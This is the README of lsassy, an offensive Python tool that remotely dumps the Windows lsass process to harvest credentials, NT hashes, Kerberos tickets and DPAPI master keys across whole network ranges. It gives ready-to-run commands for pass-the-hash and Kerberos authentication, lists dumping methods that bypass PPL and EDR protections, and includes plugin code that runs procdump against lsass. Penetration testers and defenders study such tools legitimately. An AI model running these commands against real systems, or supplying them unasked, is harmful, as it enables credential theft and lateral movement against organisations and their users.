lsassy
Python tool to remotely extract credentials on a set of hosts. This blog post explains how it works.
This tool uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.
Chapters | Description |
---|---|
Warning | Before using this tool, read this |
Installation | Lsassy installation |
Basic usage | Basic lsassy usage |
Advanced usage | Advanced lsassy usage with params explaination |
Add dump method | How to add a custom lsass dump method |
Acknowledgments | Kudos to these people and tools |
Official Discord | Official Discord channel |
Warning
Although I have made every effort to make the tool stable, traces may be left if errors occur.
This tool can either leave some lsass dumps if it failed to delete it (even though it tries hard to do so) or leave a scheduled task running if it fails to delete it. This shouldn't happen, but it might. Now, you know, use it with caution.
Installation
lsassy works with python >= 3.7
pip (Recommended)
python3 -m pip install lsassy
From source for development
python3 setup.py install
Basic Usage
lsassy works out of the box on multiple targets (IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
By default, lsassy will try to dump lsass remotely using comsvcs.dll
method, either via WMI or via a remote scheduled task.
Kerberos
lsassy can authenticate with Kerberos. It requires a valid TGT in KRB5CCNAME
environment variable. See advanced usage for more details.
lsassy -k targets
Examples
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
Advanced Usage
Different lsass dumping methods are implemented in lsassy, and some option are provided to give control to the user on how the tool will proceed.
Internal working
lsassy is divided in modules
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Core module
This module is the orchestrator. It creates lsassy class with provided arguments and options, and then calls the different modules to retrieve credentials.
Logger module
This module is used for logging purpose.
File module
This is a layer built over Impacket to behave like a python built-in file object. It overrides methods like open, read, seek, or close.
Dumper module
This module is where all the dumping logic happens. Depending on the method used, it will execute code on remote host to dump lsass using provided method.
Parser module
This module relies on pypykatz and uses lsassy file module to remotely parse lsass dump
Writer module
This module handles the output part, either to the screen in different formats and/or write results to a file
Dumping methods
This tool can dump lsass in different ways.
Dumping methods (-m
or --method
)
- comsvcs
- comsvcs_stealth
- dllinject
- procdump
- procdump_embedded
- dumpert
- dumpertdll
- ppldump
- ppldump_embedded
- mirrordump
- mirrordump_embedded
- wer
- EDRSandBlast
- nanodump
- rdrleakdiag
- silentprocessexit
- sqldumper
comsvcs method
This method only uses built-in Windows files to extract remote credentials. It uses minidump function from comsvcs.dll to dump lsass process.
Procdump method
This method uploads procdump.exe from SysInternals to dump lsass process.
Dumpert method
This method uploads dumpert.exe or dumpert.dll from outflanknl to dump lsass process using syscalls.
Ppldump
This method uploads ppldump.exe from itm4n to dump lsass process and bypass PPL.
Mirrordump
This method uploads Mirrordump.exe from Ccob to dump lsass using already opened handle to lsass via an LSA plugin.
WER
This method uses WER technique used in PowerSploit.
Options
For some dumping method, options are required, like procdump or dumpert path. These options can be set using --options
or -O
with a comma separated list of options in a key=value
way.
... --options key=value,foo=bar
For example:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Parse only
You can choose to parse an already dumped lsass process by providing --parse-only
switch, alongside with --dump-path
and --dump-name
parameters.
Note that if you choose this method, the remote lsass dump won't be deleted.
For example:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
Keep dump
If you don't want the dump to be automatically deleted after lsassy run, you can use --keep-dump
.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Kerberos tickets harvesting
Kerberos tickets will be extracted and saved to $HOME/.config/lsassy/tickets
in kirbi
format. You can specify output directory using -K [directory]
or --kerberos-dir [directory]
parameter. If this directory doesn't exist, the tool will attempt to create it before outputing tickets.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
DPAPI Master Keys harvesting
DPAPI Master Keys will be extracted and saved to $HOME/.config/lsassy/masterkeys.txt
in {GUID}:SHA1
format. You can specify masterkey file path using -M [path]
or --masterkeys-file [path]
parameter. If the file path doesn't exist, the tool will attempt to create it before creating the file.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
Authentication methods
There are three different ways to authenticate against remote targets using lsassy. The only requirement is that the user needs to have local administration rights on the remote targets.
Cleartext credentials
First and most obvious one is by using clear text credentials. It can either be a local or domain user.
## Local user
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## Domain user
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
Pass-the-hash
It is also possible to authenticate using user's NT hash. You can either provide LM:NT or only NT version.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## Or
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Kerberos
You can also authenticate using Kerberos. For this to work, you will need to have a valid ticket saved on disk, and ticket's path needs to be provided in KRB5CCNAME
environment variable. For testing purpose, this can be achieved using impacket getTGT.py tool.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
This command will request a TGT and save it in jsnow.ccache
file.
In order for lsassy to know which ticket to use, you'll need to explicitly set the ticket's path in KRB5CCNAME
environment variable.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
When it's correctly configured, you should be able to use that ticket for authentication using -k
parameter. Since you're using this ticket, you don't need to provide other authentication information anymore.
lsassy -k server01.hackn.lab
Note that for this to work, you will need a valid DNS configuration, either dynamic with a valid DNS server, or static using hosts
file. Moreover, you should always use FQDN when generating tickets and using lsassy, i.e. use server01.hackn.lab
instead of server01
.
Output
Screen format
lsassy can output credentials in different formats using --format
or -f
flag
Pretty
Default format, nice and clean credentials are displayed with golden colors. In credz we trust.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Json
Displays result in json format. Can be useful when called from a script
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Grep
Grepable output that can be useful in one-liners
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
None
Doesn't display the result. Useful when using --outfile
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
Save in a file
Saves the result in a grepable format in provided file (--outfile
or -o
)
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
Results filtering
If you want to only get users credentials, filtering out computers credentials, you can use --users
flag
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
If you don't want tickets to be exported, you can use --no-tickets
flag
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
If you don't want masterkeys to be exported, you can use --no-masterkeys
flag
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
Thread management
You can decide how many thread you want to use [1-256] using --threads
parameter.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
Add dump method
There is a dummy.py.tpl file in dumpmethod directory. This file contains basic structure to create a new dump method functionnality.
get_commands
This method is mandatory as it is the method that will be used to execute code on the remote host in order to dump lsass in some way. It must return a dictionnary with two items cmd and pwsh.
cmd command is a command understood by cmd.exe utility pwsh command is a command understood by powershell (most of the time, cmd command is also valid in powershell)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Dependencies
There is a Dependency
class that can be used to easily upload files needed for dump method, like procdump.exe from sysinternals. Two methods can be used :
prepare_dependencies
to check if all parameters were provided by the user to locally find the file on user's disk and upload it, and then actually upload the fileclean_dependencies
to try and remove uploaded files
(Optionnal) prepare
This method will be called before executing commands provided by get_commands. It can be used to upload files or check stuff.
(Optionnal) clean
This method will be called after executing commands provided by get_commands. It can be used to delete uploaded files or clean stuff.
Example
Here is procdump example with some comments
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
and uncomment 'dump_name' to provide expected dumpfile name on remote system.
"""
custom_dump_name_support = True # Default: True
# dump_name = "" # Default: Random dumpfile name
"""
If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
"""
custom_dump_path_support = True # Default: True
# dump_share = "" # Default: "C$"
# dump_path = "" # Default: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ is overloaded to create some instance variables
"""
super().__init__(session, timeout)
"""
This module requires procdump.exe to be uploaded on the remote server before being executed.
So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
and second argument is default executable name on local user's disk.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare method is overloaded so that we are able to
- check if mandatory parameters are provided
- upload procdump on the remote host.
All this can be done using prepare_dependencies method from our Dependency object
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean method is overloaded so that we are able to delete our dependency if it was uploaded
The clean_dependencies method will do this for us.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands method is overloaded as it is mandatory.
Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
The get_remote_path method of our Dependency object is used to get the correct remote path
of procdump on our target.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
You can check dummy class for more comments and/or informations.
Acknowledgments
- Kodoque for lsassy name
- Impacket
- SkelSec for Pypykatz, but also for his patience and help
- mpgn for his help and ideas
- Cn33liz for Dumpert
- itm4n for PPLDump
- Ccob for MirrorDump
- Matt Graeber for WER Technique
- MrUn1k0d3r for SMB Service Modification technique
- th3m4ks and Qazeer for EDRSandBlast
- s4ntiago_p for nanodump
- 0gtweet for Rdrleakdiag technique
- Luis Rocha for SQLDumper technique
- Asaf Gilboa for LsassSilentProcessExit technique
Official Discord Channel
Known bugs
- Compiled versions don't include table_output because of some weird error with rich library